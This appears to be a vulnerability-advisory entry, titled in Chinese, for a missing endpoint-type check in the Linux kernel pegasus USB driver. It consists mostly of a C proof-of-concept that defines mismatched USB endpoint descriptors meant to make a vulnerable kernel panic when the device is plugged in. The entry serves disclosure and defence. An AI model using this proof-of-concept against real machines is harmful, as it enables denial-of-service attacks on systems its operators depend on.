CVE-2026-43156 Linux内核pegasus驱动端点检查缺失漏洞

/* * PoC Concept: Malicious USB Device Descriptor * This C code snippet demonstrates how to craft a USB device descriptor * that exploits the missing endpoint validation in the pegasus driver. * Compile and run on a USB device simulator (e.g., Linux-USB Gadget). */ #include <linux/usb/ch9.h> // Define a malicious endpoint descriptor for EP1 (Assumed Bulk IN by driver) // Here we set it to Isochronous to trigger the mismatch. struct usb_endpoint_descriptor malicious_ep1 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, // Endpoint 1, IN direction .bmAttributes = USB_ENDPOINT_XFER_ISOC, // Mismatch: Driver expects Bulk .wMaxPacketSize = 512, .bInterval = 0, }; // Define a malicious endpoint descriptor for EP2 (Assumed Bulk OUT by driver) struct usb_endpoint_descriptor malicious_ep2 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x02, // Endpoint 2, OUT direction .bmAttributes = USB_ENDPOINT_XFER_INT, // Mismatch: Driver expects Bulk .wMaxPacketSize = 512, .bInterval = 0, }; // Define a malicious endpoint descriptor for EP3 (Assumed Interrupt IN by driver) struct usb_endpoint_descriptor malicious_ep3 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x83, // Endpoint 3, IN direction .bmAttributes = USB_ENDPOINT_XFER_BULK, // Mismatch: Driver expects Interrupt .wMaxPacketSize = 64, .bInterval = 1, }; /* * When this device is plugged into a vulnerable Linux kernel, * the pegasus driver will probe it, fail to validate these types, * and attempt to submit URBs with incorrect transfer types, * leading to a kernel panic (Assertion failure). */